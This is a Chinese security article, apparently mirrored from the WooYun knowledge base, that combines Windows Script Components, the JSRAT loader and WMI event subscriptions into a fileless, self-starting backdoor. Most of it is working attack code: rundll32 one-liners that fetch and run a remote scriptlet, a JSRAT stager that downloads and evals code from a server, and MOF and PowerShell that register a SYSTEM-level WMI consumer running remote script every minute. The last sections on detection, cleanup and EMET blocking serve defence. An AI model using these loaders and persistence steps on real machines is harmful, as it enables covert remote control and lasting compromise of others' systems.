WSC、JSRAT and WMI Backdoor

wyzsk發表於2020-08-19
作者: 三好學生 · 2016/05/06 14:16

0x00 前言


最近學習了lcx提供的資料《利用wsc來做一個asp後門》,在瞭解了wsc檔案的一些特性後,產生了一個有趣的想法:

如果將其與JSRAT和WMI Backdoor相結合,那將會有多大的威力呢?

Alt text

相關資料:

《利用wsc來做一個asp後門》:http://huaidan.org/archives/2574.html
《WMI Backdoor》: /tips/?id=8260
《JavaScript Backdoor》: /tips/?id=11764

0x01 WSC


WSC,全稱Windows Script
可用來開發COM元件
可被其他語言呼叫

更多介紹見:
http://www.xav.com/perl/Windows/windows_script_components.html

1、簡單示例

一個簡單的wsc指令碼如下,儲存為test.wsc:

#!xml
<?xml version="1.0"?>
<package>
<component id="testWSC">    

<public>
 <method name="Sum">
        <PARAMETER name="X"/>
        <PARAMETER name="Y"/>
    </method>
</public>    

<script language="JScript">
<![CDATA[
function Sum(X, Y) {
    var result = X + Y;
    return result;
    }
]]>
</script>    

</component>
</package>

透過如下js程式碼即可呼叫指令碼中的Sum函式:

#!javascript
var ref = GetObject("script:C:\\testwsc\\test.wsc");
var x = ref.Sum(4,6);
WScript.Echo(x);

如圖

Alt text

注:
wsc檔案的字尾名可以任意

2、本地啟動計算器

以上內容和sct檔案似曾相識,所以我們可以把裡面的功能修改為啟動一個計算器

wsc檔案如下:

#!xml
<?xml version="1.0"?>    

<package>
<component id="testCalc">    

<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); 
]]>
</script>    

</component>
</package>

對應的js檔案可簡化為:

#!javascript
GetObject("script:C:\\testwsc\\test.wsc");

執行後如圖:

Alt text

3、遠端啟動計算器

—— 如果把wsc檔案放到伺服器上面呢? —— 當然可以正常執行。

地址如下: https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test

js檔案修改為:

#!javascript
GetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test")

執行如圖:

Alt text

0x02 JSRAT


如果用在rundll32執行js的方法上會怎樣呢?

1、calc

cmd下執行:

#!shell
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test")

如圖

Alt text

2、jsrat

如果把伺服器上檔案的內容替換成jsrat的啟動程式碼會怎樣呢?
程式碼如下:

#!xml
<?xml version="1.0"?>    

<package>
<component id="testCalc">    

<script language="JScript">
<![CDATA[
        rat="rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication     


\";document.write();h=new%20ActiveXObject(\"WinHttp.WinHttpRequest.5.1\");w=new%20ActiveXObject(\"WScript.Shell\");try{v=w.RegRead(\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet%20Settings\\\\ProxyServer\");q=v.split(\"=\")[1].split(\";\")[0];h.SetProxy(2,q);}catch(e){}h.Open(\"GET\",\"http://127.0.0.1/connect\",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject(\"WScript.Shell\").Run(\"cmd /c taskkill /f /im rundll32.exe\",0,true);}";
        new ActiveXObject("WScript.Shell").Run(rat,0,true);
]]>
</script>    

</component>
</package>

為區別演示,已上傳至另一檔案testJSRAT:
https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/testJSRAT

cmd下執行:

#!shell
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/testJSRAT")

執行後彈回JSRAT的shell

3、分析

這種方式有如下優點:
a.再次簡化了JSRAT的啟動程式碼,只需要執行GetObject()
b.由於是遠端執行wsc檔案,所以payload隨時可以更改,程式碼可以隨時升級

0x03 WMI Backdoor


透過WMI不僅可以定時執行程式,還能定時執行指令碼
定時執行程式的方法之前介紹過,此處跳過,下面介紹一下定時執行指令碼的方法

WMI支援vbs和js指令碼,這裡只介紹啟動js指令碼的方法

1、mof

注意跳脫字元
"用\"表示
內容如下:

pragma namespace("\\\\.\\root\\subscription")    

instance of __EventFilter as $EventFilter
{
    EventNamespace = "Root\\Cimv2";
    Name  = "filtP1";
    Query = "Select * From __InstanceModificationEvent "
            "Where TargetInstance Isa \"Win32_LocalTime\" "
            "And TargetInstance.Second = 1";
    QueryLanguage = "WQL";
};    

instance of ActiveScriptEventConsumer as $Consumer
{
    Name = "consP1";
    ScriptingEngine = "JScript";
    ScriptText = "GetObject(\"script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test\")";
};    

instance of __FilterToConsumerBinding
{
    Consumer   = $Consumer;
    Filter = $EventFilter;
};

演示略

2、powershell

注意跳脫字元
"用""表示
內容如下:

#!powershell
$filterName = 'filtP1'
$consumerName = 'consP1'
$Command ="GetObject(""script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test"")"    


$Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"    

$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop    

$WMIEventConsumer = Set-WmiInstance -Class ActiveScriptEventConsumer -Namespace "root\subscription" -Arguments @{Name=$consumerName;ScriptingEngine='JScript';ScriptText=$Command}    

Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}

演示略

3、檢測

#!powershell
Get-WMIObject -Namespace root\Subscription -Class __EventFilter    


Get-WMIObject -Namespace root\Subscription -Class __EventConsumer    


Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding

4、清除

#!powershell
Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='filtP1'" | Remove-WmiObject -Verbose    

Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter "Name='consP1'" | Remove-WmiObject -Verbose    

Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%BotFilter82%'" | Remove-WmiObject -Verbose

5、分析

a. 註冊後每隔1分鐘執行一次遠端伺服器上的js指令碼
b. 許可權為system
c. payload可以隨時更換
d. 不寫檔案
e. 不寫登錄檔
f. 自啟動

0x04 防禦


1、第一道防線

確保系統不被入侵。這個後門方法植入的前提是需要在系統上能夠執行程式碼,所以建議勤打補丁、安裝防毒軟體、防火牆

2、第二道防線

建立白名單機制。啟動Windows AppLocker,限制白名單以外的程式和指令碼執行

3、第三道防線

使用EMET(增強減災體驗工具)。配置規則可攔截並記錄regsvr32和rundll32的使用 參考連結:
https://github.com/iadgov/Secure-Host-Baseline/tree/master/EMET#blocking-the-regsvr32-application-whitelisting-bypass-technique

4、配置EMET攔截regsvr32示例:

1、下載安裝EMET 5.5

https://www.microsoft.com/en-us/download/details.aspx?id=50766

2、配置EMET組策略模板

(a)%ProgramFiles%\EMET 5.5\Deployment\Group Policy Files\%ProgramFiles(x86)%\EMET 5.5\Deployment\Group Policy Files\(64位系統)下找到:
EMET.admx
EMET.adml

如圖

Alt text

(b)將EMET.admx複製到%SystemRoot%\PolicyDefinitions\

(c)將EMET.adml複製到%SystemRoot%\PolicyDefinitions\zh-CN下(英文版系統複製到%SystemRoot%\PolicyDefinitions\en-us\

3、配置EMET規則

(a)輸入gpedit.msc進入組策略 中文系統為:
計算機配置-管理模板-Windows元件-EMET

英文系統為:
Computer Policy > Administrative Templates > Windows Components > EMET

(b)雙擊Application Configuration
選擇啟用
點選顯示

如圖

Alt text

(c)設定

值名稱: *\regsvr32.exe
值: +ASR asr_modules:scrobj.dll;scrrun.dll

如圖

Alt text

(d)更新組策略模板

管理權許可權的cmd下輸入:

#!shell
gpupdate /force

如圖

Alt text

(e)測試

Alt text

透過regsvr32呼叫scrobj.dll的操作被攔截

0x05 小結


本文將WSC、JSRAT和WMI Backdoor三項技術融合,在指令碼層面實現了一個近乎“完美”的後門。

當然,本文的初衷是在這項技術被濫用前儘可能的幫助大家提前做好防禦的準備。

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!